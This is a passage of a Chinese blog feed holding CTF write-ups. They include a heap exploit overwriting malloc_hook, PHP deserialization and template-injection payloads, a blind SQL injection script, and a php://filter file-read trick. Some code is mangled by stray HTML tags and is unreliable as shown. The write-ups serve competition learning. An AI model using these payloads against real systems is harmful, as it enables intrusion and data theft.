delete(9)<br>add(9,0x108,’a’*0x108+’\x71’) add(11,0x68,’dddd’) add(13,0x68,’dddd’)<br>add(14,0x60,’a’*0x13+p64(onegadget))#修改malloc_hook为one_gadget p.sendline(“1”)<br>p.recvuntil(“idx:”) p.sendline(str(15)) p.recvuntil(“len:”) p.send(‘aaaa’)<br>p.interactive() get_shell() <code># # MISC ## 签到 直接给了 ## flag:flag{同舟共济扬帆起,乘风破浪万里航。} ## the_best_ctf_game ![图片](https://uploader.shimo.im/f/MVXIAWJiGoWAb3rY.png!thumbnail) 直接在文件里能读出来 flag: flag{65e02f26-0d6e-463f-bc63-2df733e47fbe} ## 电脑被黑 ![图片](https://uploader.shimo.im/f/dl9VOzOiZjHInysi.png!thumbnail) 取证大师能直接恢复出flag.txt 发现文件夹下demo是个加密程序,逆向一下 ![图片](https://uploader.shimo.im/f/o3pSuQsKvwEyPvPP.png!thumbnail) 编写逆向代码</code>plain flie1=open(“flag.txt”,”rb”) flie2=open(“fakeflag.txt”,”rb”) v4 = 34<br>v5 = 0 buff=flie1.read() for i in buff: c=(i^v4)-v5 v4 = (v4+34)&0xff<br>v5=(v5+2)&0xf print(chr(c),end=””) <code>flag: flag{e5d7c4ed-b8f6-4417-8317-b809fc26c047} # WEB ## babyunserialize 看了一眼源码,眼熟,想起来是前几天WM的原题,虽然当时没做出来,但是存了wp,稍微改一下</code>plain “phpinfo”],<br>$adhoc=[“20”=>[“expr”=>””]], $db; function offsetExists($offset){} function<br>offsetGet($offset){} function offsetSet($offset, $value){} function<br>offsetUnset($offset){} function getIterator(){} function __construct($val){<br>$this->db = $val; } } } namespace CLI{ class Agent { protected $server=””;<br>public $events; public function __construct(){<br>$this->events=[“disconnect”=>array(new \DB\SQL\Mapper(new<br>\DB\SQL\Mapper(“”)),”find”)]; $this->server=&$this; } }; class WS{} }<br>namespace { echo urlencode(serialize(array(new \CLI\WS(),new \CLI\Agent())));<br>} <code>跑一下得出</code>plain<br>a%3A2%3A%7Bi%3A0%3BO%3A6%3A%22CLI%5CWS%22%3A0%3A%7B%7Di%3A1%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3Br%3A3%3Bs%3A6%3A%22events%22%3Ba%3A1%3A%7Bs%3A10%3A%22disconnect%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A8%3A%22quotekey%22%3Bs%3A7%3A%22phpinfo%22%3B%7Ds%3A8%3A%22%00%2A%00adhoc%22%3Ba%3A1%3A%7Bi%3A20%3Ba%3A1%3A%7Bs%3A4%3A%22expr%22%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A5%3A%22%00%2A%00db%22%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A8%3A%22quotekey%22%3Bs%3A7%3A%22phpinfo%22%3B%7Ds%3A8%3A%22%00%2A%00adhoc%22%3Ba%3A1%3A%7Bi%3A20%3Ba%3A1%3A%7Bs%3A4%3A%22expr%22%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A5%3A%22%00%2A%00db%22%3Bs%3A0%3A%22%22%3B%7D%7Di%3A1%3Bs%3A4%3A%22find%22%3B%7D%7D%7D%7D<br><code>即</code>plain a:2:{i:0;O:6:”CLI\WS”:0:{}i:1;O:9:”CLI\Agent”:2:{s:9:” *<br>server”;r:3;s:6:”events”;a:1:{s:10:”disconnect”;a:2:{i:0;O:13:”DB\SQL\Mapper”:3:{s:8:”</li></ul><ul><li>props”;a:1:{s:8:”quotekey”;s:7:”phpinfo”;}s:8:” *<br>adhoc”;a:1:{i:20;a:1:{s:4:”expr”;s:0:””;}}s:5:” *<br>db”;O:13:”DB\SQL\Mapper”:3:{s:8:” *<br>props”;a:1:{s:8:”quotekey”;s:7:”phpinfo”;}s:8:” *<br>adhoc”;a:1:{i:20;a:1:{s:4:”expr”;s:0:””;}}s:5:” *<br>db”;s:0:””;}}i:1;s:4:”find”;}}}} <code>提交,得到phpinfo,搜一下,得到flag ![图片](https://uploader.shimo.im/f/88D4wOwitMd55p4y.png!thumbnail) # ## easyphp ![图片](https://uploader.shimo.im/f/NlSZ2XFeyw1uf0uE.png!thumbnail) 考察fork中断 创建一个新的监听的时候会导致原来的进程中断出错,跳转至phpinfo页面,没想到直接就有flag了(没想到直接就在info里面,还以为要命令执行的说) ## easytrick 见到有php的!=和!==,以及需要md5值相等,想到利用不同的类型获取两个相同的NAN值来获取相同的md5</code>plain<br>trick1 = (string)$this->trick1; print_r($this->trick1);<br>print_r($this->trick2); print_r(md5($this->trick2));<br>print_r(md5($this->trick2)); if(strlen($this->trick1) > 5 ||<br>strlen($this->trick2) > 5){ die(“你太长了”); } if($this->trick1 !== $this->trick2<br>&& md5($this->trick1) === md5($this->trick2) && $this->trick1 !=<br>$this->trick2){ echo’success’; } } } highlight_file(<strong>FILE</strong>); echo 0/0; echo<br>(string)[a]; $a=new trick(); $a->trick1=NAN; $a->trick2=0/0; $b=serialize($a);<br>print_r($b); unserialize($b); <code>payload: O:5:"trick":2:{s:6:"trick1";d:NAN;s:6:"trick2";d:NAN;} receme 参考2020年赛博杯的dangerous- function,本题一样过滤了大量字符串操作函数,选择imlpode进行拼接,修改一下执行命令的部分即可获取flag payload: {if:var_dump((((implode(array(fil,e_get,_con,tents)))))(((implode(array(bas,e64_,dec,ode))))(Li8uLi8uLi8uLi8uLi8uLi8uLi9mbGFn)))}e{else}a{end if} # # CRYPTO ## bd 分析一下源码,d过小,想到wiener attack,先得到d,再通过</code>plain m =<br>pow(c,d,n) <code>得到flag 跑下脚本 ![图片](https://uploader.shimo.im/f/f5G9aEXACOO10trI.png!thumbnail)</code>plain<br>d=1485313191830359055093545745451584299495272920840463008756233 <code> </code>python<h1 id="coding-utf-8-Wiener-Attack-used-in-big-public-key-or-small"><a href="#coding-utf-8-Wiener-Attack-used-in-big-public-key-or-small" class="headerlink" title="-- coding: utf-8 -- # Wiener Attack, used in big public key (or small"></a>-<em>- coding: utf-8 -</em>- # Wiener Attack, used in big public key (or small</h1>private key). from gmpy2 import * # 展开为连分数 def continuedfra(x, y): cF = []<br>while y: cF += [x / y] x, y = y, x % y return cF def simplify(ctnf): numerator<br>= 0 denominator = 1 for x in ctnf[::-1]: numerator, denominator = denominator,<br>x * denominator + numerator return (numerator, denominator) # 连分数化简 def<br>calculatefrac(x, y): cF = continuedfra(x, y) cF = map(simplify, (cF[0:i] for i<br>in range(1, len(cF)))) return cF # 解韦达定理 def solve_pq(a, b, c): par = isqrt(b</li><li>b - 4 * a * c) return (-b + par) / (2 * a), (-b - par) / (2 * a) def<br>wienerattack(e, n): for (d, k) in calculatefrac(e, n): if k == 0: continue if<br>(e * d - 1) % k != 0: continue phi = (e * d - 1) / k p, q = solve_pq(1, n -<br>phi + 1, n) if p * q == n: return abs(int(p)), abs(int(q)) print(‘not find!’)<br>n =<br>86966590627372918010571457840724456774194080910694231109811773050866217415975647358784246153710824794652840306389428729923771431340699346354646708396564203957270393882105042714920060055401541794748437242707186192941546185666953574082803056612193004258064074902605834799171191314001030749992715155125694272289<br>e =<br>46867417013414476511855705167486515292101865210840925173161828985833867821644239088991107524584028941183216735115986313719966458608881689802377181633111389920813814350964315420422257050287517851213109465823444767895817372377616723406116946259672358254060231210263961445286931270444042869857616609048537240249<br>c =<br>37625098109081701774571613785279343908814425141123915351527903477451570893536663171806089364574293449414561630485312247061686191366669404389142347972565020570877175992098033759403318443705791866939363061966538210758611679849037990315161035649389943256526167843576617469134413191950908582922902210791377220066<br>p, q = wienerattack(e, n) print(‘[+]Found!’, ‘\n’) print(‘ [-]p =’, p) print(‘<br>[-]q =’, q) print(‘ [-]n =’, p * q) d = invert(e, (p-1)*(q-1)) print(‘ [-]d<br>=’, d) # print(‘ [-]m is: ‘ + ‘{:x}’.format(pow(c, d, n)).decode(‘hex’), ‘\n’)<br>print(‘[!]All Done!’) m = pow(c,d,n) from Crypto.Util.number import<br>long_to_bytes print(long_to_bytes(m)) <code>## lsfr 分析代码,发现让求mark,又通过前几位为固定的字符</code>plain flag{ <code>想到B-M算法</code>plain Berlekamp-Massey 算法(B-M 算法)用于构造一个最短的 LFSR<br>以满足给定的二进制输出序列。一方面可用于寻找级数尽可能小的 LFSR 来生成随机性大的输出序列,而另一方面可用于根据已知输出序列反推 LFSR。 ```<br>用在线工具 <img src="https://uploader.shimo.im/f/Icjo4F4TGmNRL0Ai.png!thumbnail" alt="图片"> 解出mask<br><img src="https://uploader.shimo.im/f/G6dWjf7la6HqjrUp.png!thumbnail" alt="图片"><br>因为mask的长度为100,去除最后一位,逆序转为10进制,就是flag<br><img src="https://uploader.shimo.im/f/EhbIzIqey9OpvWr5.png!thumbnail" alt="图片"><br>flag{856137228707110492246853478448}</li></ul>]]></content>
<summary type="html"><h1 id="这是👉爆炒腰花-2020国赛WP👈的摘要"><a href="#这是👉爆炒腰花-2020国赛WP👈的摘要" class="headerlink" title="这是👉爆炒腰花-2020国赛WP👈的摘要"></a><a href="../../../../2020/08/21/cnblog_13542994/">这是👉爆炒腰花-2020国赛WP👈的摘要</a></h1></summary>
<category term="笔记" scheme="http://sharun.xyz/categories/%E7%AC%94%E8%AE%B0/"/>
<category term="博客园" scheme="http://sharun.xyz/tags/%E5%8D%9A%E5%AE%A2%E5%9B%AD/"/>
<category term="搬家" scheme="http://sharun.xyz/tags/%E6%90%AC%E5%AE%B6/"/>
</entry>
<entry>
<title>HWS选拔赛-MISC</title>
<link href="http://sharun.xyz/2020/08/16/cnblog_13514707/"/>
<id>http://sharun.xyz/2020/08/16/cnblog_13514707/</id>
<published>2020-08-16T06:14:00.000Z</published>
<updated>2020-11-09T11:26:55.032Z</updated>
<content type="html"><![CDATA[<h1 id="这是👉HWS选拔赛-MISC👈的摘要"><a href="#这是👉HWS选拔赛-MISC👈的摘要" class="headerlink" title="这是👉HWS选拔赛-MISC👈的摘要"></a><a href="../../../../2020/08/16/cnblog_13514707/">这是👉HWS选拔赛-MISC👈的摘要</a></h1><a id="more"></a><p><del>为啥今天这么高产,因为和队友一起搭的mc服务器上不去了,想一起玩的找我呀</del> 因为开学的原因去不了HWS了,看看题。想去QAQ # 近源黑客<br><img src="https://uploader.shimo.im/f/wguAfZetPXLTux9v.png!thumbnail" alt="图片"><br>在压缩包里注释有提示,密码应该是DASCTF+4位数字 然后pcapng包里发现是wifi连接的包,那么可能是破解wifi密码<br>刚开始用的是aircrack,出不来。 放出提示后,找到了文章<br><a href="https://www.anquanke.com/post/id/154286">https://www.anquanke.com/post/id/154286</a><br>按照这个操作,最后密码本换成DASCTF+4位数字就可以了 # fakepdf<br>由于直接右键用010之类的打开会直接打开cmd.exe,右键查看属性又不能把命令都显示全,所以先把lnk文件内容cat出来,可以看到命令(把00去掉)。<br><img src="https://uploader.shimo.im/f/jwJoiDWSAXDHEKor.png!thumbnail" alt="图片"><br>执行命令会在temp文件夹下生成一个js文件,<br><img src="https://uploader.shimo.im/f/LRNL1v1pG6whyJZh.png!thumbnail" alt="图片"><br>接着执行命令。之后就生成了pdf 找到decode的这个文件<br><img src="https://uploader.shimo.im/f/l5A0piWQFVcbQkxz.png!thumbnail" alt="图片"><br>对文件内容进行base64,再用winrar解压(其实就是decode)得到文件<br><img src="https://uploader.shimo.im/f/RMsyhDEFlkOIZP1m.png!thumbnail" alt="图片"><br>最后同名的这个文件就是flag<br><img src="https://uploader.shimo.im/f/EyQJIafC0uLJuxKm.png!thumbnail" alt="图片"><br>不会vb,用python解一下<br><img src="https://uploader.shimo.im/f/7d5pNxJOgJGBFOj3.png!thumbnail" alt="图片"> 得到flag</p>]]></content>
<summary type="html"><h1 id="这是👉HWS选拔赛-MISC👈的摘要"><a href="#这是👉HWS选拔赛-MISC👈的摘要" class="headerlink" title="这是👉HWS选拔赛-MISC👈的摘要"></a><a href="../../../../2020/08/16/cnblog_13514707/">这是👉HWS选拔赛-MISC👈的摘要</a></h1></summary>
<category term="笔记" scheme="http://sharun.xyz/categories/%E7%AC%94%E8%AE%B0/"/>
<category term="博客园" scheme="http://sharun.xyz/tags/%E5%8D%9A%E5%AE%A2%E5%9B%AD/"/>
<category term="搬家" scheme="http://sharun.xyz/tags/%E6%90%AC%E5%AE%B6/"/>
</entry>
<entry>
<title>爆炒腰花-蓝帽杯</title>
<link href="http://sharun.xyz/2020/08/16/cnblog_13514165/"/>
<id>http://sharun.xyz/2020/08/16/cnblog_13514165/</id>
<published>2020-08-16T04:51:00.000Z</published>
<updated>2020-11-09T11:26:55.038Z</updated>
<content type="html"><![CDATA[<h1 id="这是👉爆炒腰花-蓝帽杯👈的摘要"><a href="#这是👉爆炒腰花-蓝帽杯👈的摘要" class="headerlink" title="这是👉爆炒腰花-蓝帽杯👈的摘要"></a><a href="../../../../2020/08/16/cnblog_13514165/">这是👉爆炒腰花-蓝帽杯👈的摘要</a></h1><a id="more"></a><p>我们队所有做出的题解都放出来了,本来想先研究python那题再发的。。结果没出来 一家人整整齐齐 & 二进制爷爷,一题进复赛 # 签到<br>gif分解帧,再看不同色域通道。得到flag # sudo 做对九宫格3次,在github上找到了九宫格算法 <code>plain import numpy as np from pwn import * import time def solve(m): if isinstance(m, list): m = np.array(m) elif isinstance(m, str): m = np.loadtxt(m, dtype=np.int, delimiter=",") rg = np.arange(m.shape[0]+1) while True: mt = m.copy() while True: d = [] d_len = [] for i in range(m.shape[0]): for j in range(m.shape[1]): if mt[i, j] == 0: possibles = np.setdiff1d(rg, np.union1d(np.union1d(mt[i, :], mt[:, j]), mt[3*(i//3):3*(i//3+1), 3*(j//3):3*(j//3+1)])) d.append([i, j, possibles]) d_len.append(len(possibles)) if len(d) == 0: break idx = np.argmin(d_len) i, j, p = d[idx] if len(p) > 0: num = np.random.choice(p) else: break mt[i, j] = num if len(d) == 0: break if np.all(mt != 0): break print("\nTrail:\n", mt) return mt def lllllll(): str1=p.recvline() str1+=p.recvline() str1+=p.recvline() str1+=p.recvline() str1+=p.recvline() str1+=p.recvline() str1+=p.recvline() str1+=p.recvline() str1+=p.recvline() p.recvline() p.recvline() print(str1) dataline = [] data = str1.split("\n") # print(data) for a in data: pp = a.split(" ") # print(pp) pp.remove('') #print(pp) if (pp != []): for i in range(0, 9): if (pp[i] == '#'): #print(pp[i]) pp[i] = '0' pp[i] = int(pp[i]) # print(pp) dataline.append(pp) print(dataline) result=solve(dataline) s='' #solve = solve.tostring() for i in range(0,9): for j in range(0,9): s+=str(int(result[i][j])) #print(solve[i][j]), print(s) p.sendline(s) str1='' time.sleep(3) if __name__ == "__main__": p=remote("47.93.204.245","12000") i=0 while(i<3): lllllll() i+=1 p.interactive() </code> # 熟悉的解密 base64隐写和tea算法 <code>plain import re path = './1.txt' b64char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' with open(path, 'r')as f: cipher = [i.strip() for i in f.readlines()] plaintext = '' for i in cipher: if i[-2] == '=': # There are 4-bit hidden info while end with two '=' bin_message = bin(b64char.index(i[-3]))[2:].zfill(4) plaintext += bin_message[-4:] elif i[-1] == '=': # There are 2-bit hidden info while end with one '=' bin_message = bin(b64char.index(i[-2]))[2:].zfill(2) plaintext += bin_message[-2:] plaintext = re.findall('.{8}', plaintext) # 8bits/group plaintext = ''.join([chr(int(i,2)) for i in plaintext]) print plaintext </code> ```plain #include #include //加密函数 void encrypt(uint32_t* v,<br>uint32_t* k) { uint32_t v0 = v[0], v1 = v[1], sum = 0, i; /* set up <em>/<br>uint32_t delta = 0x9e3779b9; /</em> a key schedule constant <em>/ uint32_t k0 = k[0],<br>k1 = k[1], k2 = k[2], k3 = k[3]; /</em> cache key <em>/ for (i = 0; i < 32; i++) { /</em><br>basic cycle start */ sum += delta; v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1</p><blockquote><blockquote><ol start="5"><li><ul><li>k1); v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3); } /* end<br>cycle <em>/ v[0] = v0; v[1] = v1; } //解密函数 void decrypt(uint32_t</em> v, uint32_t* k)<br>{ uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i; /* set up <em>/ uint32_t<br>delta = 0x9e3779b9; /</em> a key schedule constant <em>/ uint32_t k0 = k[0], k1 =<br>k[1], k2 = k[2], k3 = k[3]; /</em> cache key <em>/ for (i = 0; i < 32; i++) { /*<br>basic cycle start */ v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);<br>v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1); sum -= delta; } /</em> end<br>cycle */ v[0] = v0; v[1] = v1; } int main() { //#cipher = [[4018289233L,<br>2950320151L], //[1771827478L, 493980876L], [1863284879L, 1137797599L],<br>//[2759701525L, 3957885055L], [2600866805L, 78850724L]] uint32_t v[2] = {<br>4018289233,2950320151}, //这里要两对两对的做 k[4] = { 11,22,33,44 }; decrypt(v, k); //<br>v为要加密的数据是两个32位无符号整数 // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位 printf(“解密后的数据:%x%x\n”,<br>v[0], v[1]); return 0; } <code># WEB部分 ## easiestSQLI 测试一下发现是数字型的,过滤了空格,用括号替换一下,然后逐个测试字符即可</code>plain import requests import string<br>import re r = requests.session() url =<br>‘<a href="http://eci-2ze2wcynh47kqz8clurh.cloudeci1.ichunqiu.com//?id=(mid((select(flag)from(flag)),%7B0%7D,1)=char(%7B1%7D))'">http://eci-2ze2wcynh47kqz8clurh.cloudeci1.ichunqiu.com//?id=(mid((select(flag)from(flag)),{0},1)=char({1}))'</a><br>strings = string.printable for i in range(42): k = i + 1 for c in strings: res<br>= r.get(url.format(k,ord(j))) if re.findall(r’YES~’,res.content.decode()):<br>print(c,end=’’) break ``` ## 文件包含绕过<br>利用伪协议,发现一般的过滤器没有办法,然后找了一下php://filter的其他操作,发现可以用这个协议来获取字符,得到的结果每两个逆序一下即可<br>payload:<br>?filename=php://filter/convert.iconv.faUCS-2LE.UCS-2BE/resource=flag.php ##<br>Soitgoes 文件包含拿一下源码 类文件在try.php里面,传参点在index,发现类中的属性有随机生成的并进行比较,利用引用赋值绕过。</li></ul></li></ol></blockquote></blockquote><pre><code class="plain">$this->alize->getFlag(); } } class Flag{ public $f; public $t1; public $t2;function __construct($file){ echo "Another construction!!"; $this->f = $file;$this->t1 = $this->t2 = md5(rand(1,10000)); } public function getFlag(){$this->t2 = md5(rand(1,10000)); echo $this->t1; echo $this->t2; if($this->t1=== $this->t2) { if(isset($this->f)){ echo @highlight_file($this->f,true); } }} } $b=new Flag('flag.php'); $b->t1=&$b->t2; $a=new Seri($b);echo(serialize($a)); ?> ```![图片](https://uploader.shimo.im/f/sXG0FyVO2rzOMR2P.png!thumbnail) ## inclusion考点是参数注入,下面是接替思路 根据提示.index.php.swp获取源码,审计一下 发现X-Forwarded-For头可以作为文件夹名称,这参数点可控关键代码 ```plain file_put_contents('res',print_r($_SERVER,true)); ```发现可以利用日志执行/get_flag,本地调试发现可以返回一系列信息,选择User-agent进行注入![图片](https://uploader.shimo.im/f/5p7kA3Giyn9ReCnC.png!thumbnail) # 逆向RE是些什么神仙题啊 js那个好像是KCTF的原题 已经恢复OPCODE了但是时间不够了,还有一个是迷宫问题? 就做了个APK而且困难重重,我直接裂开夜神模拟器跑一下 ![图片](https://uploader.shimo.im/f/d9e7AcH8AqlzdefP.png!thumbnail)首先先查一下看是不是有壳加固![图片](https://uploader.shimo.im/f/gvJA5bmUo6vKVitd.png!thumbnail) 好像没有 用 jadx分析一波 ![图片](https://uploader.shimo.im/f/yP9ySOjuHXDaZnTN.png!thumbnail)![图片](https://uploader.shimo.im/f/MJzW0iln4fAEFz7A.png!thumbnail) 大致看了一下abc三个函数无非是HEx转化啥的 system.out.println打印出的结果也是加密的9SKj8BfvJD5PcdH+Rh7TIbXwgpC/Nntiq62rWUEaAzQ3ZyVFG4mLoY0l1xOeMkus 这时就卡住了然后看了一会PWN 发现不会又回来了 之前做网鼎杯还是啥我记得有一个加密函数在NATIVE层的 用JEB导出libnative.so然后用IDA分析![图片](https://uploader.shimo.im/f/Rc0GmWmRMMTIyNts.png!thumbnail) 细心搜索发现关键函数![图片](https://uploader.shimo.im/f/UoZyLShNtXsXT6Ry.png!thumbnail)![图片](https://uploader.shimo.im/f/VR7NIkr0DAkt1Hga.png!thumbnail) 看了一下a 函数好像是生成二叉树,我数据结构都快忘了,又花了一些时间复习。。或许这就是菜鸡吧 之后进行中序遍历和后序遍历,比对两个字符串,如果正确,先序遍历应该就是flag已知中序遍历结果和后续遍历 参考[https://blog.csdn.net/BigData_Mining/article/details/81076069](https://blog.csdn.net/BigData_Mining/article/details/81076069)00235CFPaeefijlmnrwz 020C5PaeeFlmnjzwrif3 算出前续遍历 3020fF5CeaPeirjnmlwz 我太菜了这题花了太多时间 quickjs 那题已经参考KCTF那题还原opcode了 没时间了 QAQ # ZUC安装gmssl一把梭,就出一个简单cry是看不起cry吗?![图片](https://uploader.shimo.im/f/nfprRv9ZwbMs2oG6.png!thumbnail)</code></pre>]]></content>
<summary type="html"><h1 id="这是👉爆炒腰花-蓝帽杯👈的摘要"><a href="#这是👉爆炒腰花-蓝帽杯👈的摘要" class="headerlink" title="这是👉爆炒腰花-蓝帽杯👈的摘要"></a><a href="../../../../2020/08/16/cnblog_13514165/">这是👉爆炒腰花-蓝帽杯👈的摘要</a></h1></summary>
<category term="笔记" scheme="http://sharun.xyz/categories/%E7%AC%94%E8%AE%B0/"/>
<category term="博客园" scheme="http://sharun.xyz/tags/%E5%8D%9A%E5%AE%A2%E5%9B%AD/"/>
<category term="搬家" scheme="http://sharun.xyz/tags/%E6%90%AC%E5%AE%B6/"/>
</entry>
<entry>
<title>Lun4R-CyBRICSCTF wp</title>
<link href="http://sharun.xyz/2020/07/26/cnblog_13381598/"/>
<id>http://sharun.xyz/2020/07/26/cnblog_13381598/</id>
<published>2020-07-26T03:34:00.000Z</published>
<updated>2020-11-09T11:26:55.049Z</updated>
<content type="html"><![CDATA[<h1 id="这是👉Lun4R-CyBRICSCTF-wp👈的摘要"><a href="#这是👉Lun4R-CyBRICSCTF-wp👈的摘要" class="headerlink" title="这是👉Lun4R-CyBRICSCTF wp👈的摘要"></a><a href="../../../../2020/07/26/cnblog_13381598/">这是👉Lun4R-CyBRICSCTF wp👈的摘要</a></h1><a id="more"></a><p>和小伙伴们一起打了这个xctf|俄罗斯战队的比赛,题目质量真心不错hhh,部分题解小伙伴们还没更新,先发出来,嘻嘻。 # <strong>WEB</strong> ## Hunt<br>(Web, Baby, 50 pts) 打断点,然后就一个一个被抓住了… 接着F12就出现了.(这个flag是白色的,藏在下面。。。。)…<br><img src="https://uploader.shimo.im/f/QG9CJnn0cmas7LGn.png!thumbnail" alt="图片"> # <strong>RE</strong> ##<br>Baby Rev 题目给了个github项目链接 看懂就行 一个简单的疑惑加密 , key 是33 <code>plain c=[92,0,74,66,116,77,126,69,17,17,102,126, 69,79,97,126,18,76,17,98,16,77,18, 86,90,82,66,72,83,67,88,66] flag='' for i in range(len(c)): c[i]=c[i]^33 flag+=chr(c[i]) print (flag[::-1]) </code> ## polyglot<br>先根据给的code.c改一下key跑出来一个c++的代码<br>因为递归深度限制在900,所以也要改代码,我菜所以直接手算了,t1是乘,t2是加,然后算出key,跑出来是个py+机器语言的代码: <code>plain import types import dis def define_func(argcount, nlocals, code, consts, names): #PYTHON3.8!!! def inner(): return 0 fn_code = inner.__code__ cd_new = types.CodeType(argcount, 0, fn_code.co_kwonlyargcount, nlocals, 1024, fn_code.co_flags, code, consts, names, tuple(["v%d" for i in range(nlocals)]), fn_code.co_filename, fn_code.co_name, fn_code.co_firstlineno, fn_code.co_lnotab, fn_code.co_freevars, fn_code.co_cellvars) inner.__code__ = cd_new return inner f1 = define_func(2,2,b'|\x00|\x01k\x02S\x00', (None,), ()) f2 = define_func(1,1,b't\x00|\x00\x83\x01S\x00', (None,), ('ord',)) f3 = define_func(0,0,b't\x00d\x01\x83\x01S\x00', (None, 'Give me flag: '), ('input',)) f4 = define_func(1, 3, b'd\x01d\x02d\x03d\x04d\x05d\x01d\x06d\x07d\x08d\td\x03d\nd\x0bd\x0cd\rd\x08d\x0cd\x0ed\x0cd\x0fd\x0ed\x10d\x11d\td\x12d\x03d\x10d\x03d\x0ed\x13d\x0bd\nd\x14d\x08d\x13d\x01d\x01d\nd\td\x01d\x12d\x0bd\x10d\x0fd\x14d\x03d\x0bd\x15d\x16g1}\x01t\x00|\x00\x83\x01t\x00|\x01\x83\x01k\x03r\x82t\x01d\x17\x83\x01\x01\x00d\x18S\x00t\x02|\x00|\x01\x83\x02D\x00]$}\x02t\x03|\x02d\x19\x19\x00t\x04|\x02d\x1a\x19\x00\x83\x01\x83\x02d\x18k\x02r\x8c\x01\x00d\x18S\x00q\x8cd\x1bS\x00', (None, 99, 121, 98, 114, 105, 115, 123, 52, 97, 100, 51, 101, 55, 57, 53, 54, 48, 49, 50, 56, 102, 125, 'Length mismatch!', False, 1, 0, True), ('len', 'print', 'zip', 'f1', 'f2')) f5 = define_func(0, 1,b't\x00\x83\x00}\x00t\x01|\x00\x83\x01d\x01k\x08r\x1ct\x02d\x02\x83\x01\x01\x00n\x08t\x02d\x03\x83\x01\x01\x00d\x00S\x00',(None, False, 'Nope!', 'Yep!'), ('f3', 'f4', 'print')) dis.dis(f4) </code><br>然后dis得到汇编代码(关键就是给了字符串的那个) 运行结果: <code>plain F:\python\venv\py3.8\Scripts\python.exe D:/download/re2.py 7 0 LOAD_CONST 1 (99) 2 LOAD_CONST 2 (121) 4 LOAD_CONST 3 (98) 6 LOAD_CONST 4 (114) 8 LOAD_CONST 5 (105) 10 LOAD_CONST 1 (99) 12 LOAD_CONST 6 (115) 14 LOAD_CONST 7 (123) 16 LOAD_CONST 8 (52) 18 LOAD_CONST 9 (97) 20 LOAD_CONST 3 (98) 22 LOAD_CONST 10 (100) 24 LOAD_CONST 11 (51) 26 LOAD_CONST 12 (101) 28 LOAD_CONST 13 (55) 30 LOAD_CONST 8 (52) 32 LOAD_CONST 12 (101) 34 LOAD_CONST 14 (57) 36 LOAD_CONST 12 (101) 38 LOAD_CONST 15 (53) 40 LOAD_CONST 14 (57) 42 LOAD_CONST 16 (54) 44 LOAD_CONST 17 (48) 46 LOAD_CONST 9 (97) 48 LOAD_CONST 18 (49) 50 LOAD_CONST 3 (98) 52 LOAD_CONST 16 (54) 54 LOAD_CONST 3 (98) 56 LOAD_CONST 14 (57) 58 LOAD_CONST 19 (50) 60 LOAD_CONST 11 (51) 62 LOAD_CONST 10 (100) 64 LOAD_CONST 20 (56) 66 LOAD_CONST 8 (52) 68 LOAD_CONST 19 (50) 70 LOAD_CONST 1 (99) 72 LOAD_CONST 1 (99) 74 LOAD_CONST 10 (100) 76 LOAD_CONST 9 (97) 78 LOAD_CONST 1 (99) 80 LOAD_CONST 18 (49) 82 LOAD_CONST 11 (51) 84 LOAD_CONST 16 (54) 86 LOAD_CONST 15 (53) 88 LOAD_CONST 20 (56) 90 LOAD_CONST 3 (98) 92 LOAD_CONST 11 (51) 94 LOAD_CONST 21 (102) 96 LOAD_CONST 22 (125) 98 BUILD_LIST 49 100 STORE_FAST 1 (v%d) 102 LOAD_GLOBAL 0 (len) 104 LOAD_FAST 0 (v%d) 106 CALL_FUNCTION 1 108 LOAD_GLOBAL 0 (len) 110 LOAD_FAST 1 (v%d) 112 CALL_FUNCTION 1 114 COMPARE_OP 3 (!=) 116 POP_JUMP_IF_FALSE 130 118 LOAD_GLOBAL 1 (print) 120 LOAD_CONST 23 ('Length mismatch!') 122 CALL_FUNCTION 1 124 POP_TOP 126 LOAD_CONST 24 (False) 128 RETURN_VALUE >> 130 LOAD_GLOBAL 2 (zip) 132 LOAD_FAST 0 (v%d) 134 LOAD_FAST 1 (v%d) 136 CALL_FUNCTION 2 138 GET_ITER >> 140 FOR_ITER 36 (to 178) 142 STORE_FAST 2 (v%d) 144 LOAD_GLOBAL 3 (f1) 146 LOAD_FAST 2 (v%d) 148 LOAD_CONST 25 (1) 150 BINARY_SUBSCR 152 LOAD_GLOBAL 4 (f2) 154 LOAD_FAST 2 (v%d) 156 LOAD_CONST 26 (0) 158 BINARY_SUBSCR 160 CALL_FUNCTION 1 162 CALL_FUNCTION 2 164 LOAD_CONST 24 (False) 166 COMPARE_OP 2 (==) 168 POP_JUMP_IF_FALSE 140 170 POP_TOP 172 LOAD_CONST 24 (False) 174 RETURN_VALUE 176 JUMP_ABSOLUTE 140 >> 178 LOAD_CONST 27 (True) 180 RETURN_VALUE Process finished with exit code 0 </code> 然后写c跑出flag</p><pre><code class="plain">flag[]={99,121,98,114,105,99,115,123,52,97,98,100,51,101,55,52,101,57,101,53,57,54,48,97,49,98,54,98,57,50,51,100,56,52,50,99,99,100,97,99,49,51,54,53,56,98,51,102,125};cout <<flag; } ``` # CTB ## DockEsc 直接试出来,正确的没回显 # **CRYPTO** 签到题:已经告知是加密了,然后windows下常用 rot13解密![图片](https://uploader.shimo.im/f/S7POOuQqeAucD3ge.png!thumbnail) 换个flag头即可 #NETWORK ## XCorp 导出smb对象 在流里有用户名 直接登录![图片](https://uploader.shimo.im/f/0L46yhI6LolNanBh.png!thumbnail) ## GoogleCloud I am storing some important stuff in Google's cloud. Nooo no no, not onGoogle's disks — in the cloud itself.![图片](https://uploader.shimo.im/f/STYUsf0JJD8A09Z9.png!thumbnail) 全是ping。。。foremost直接读 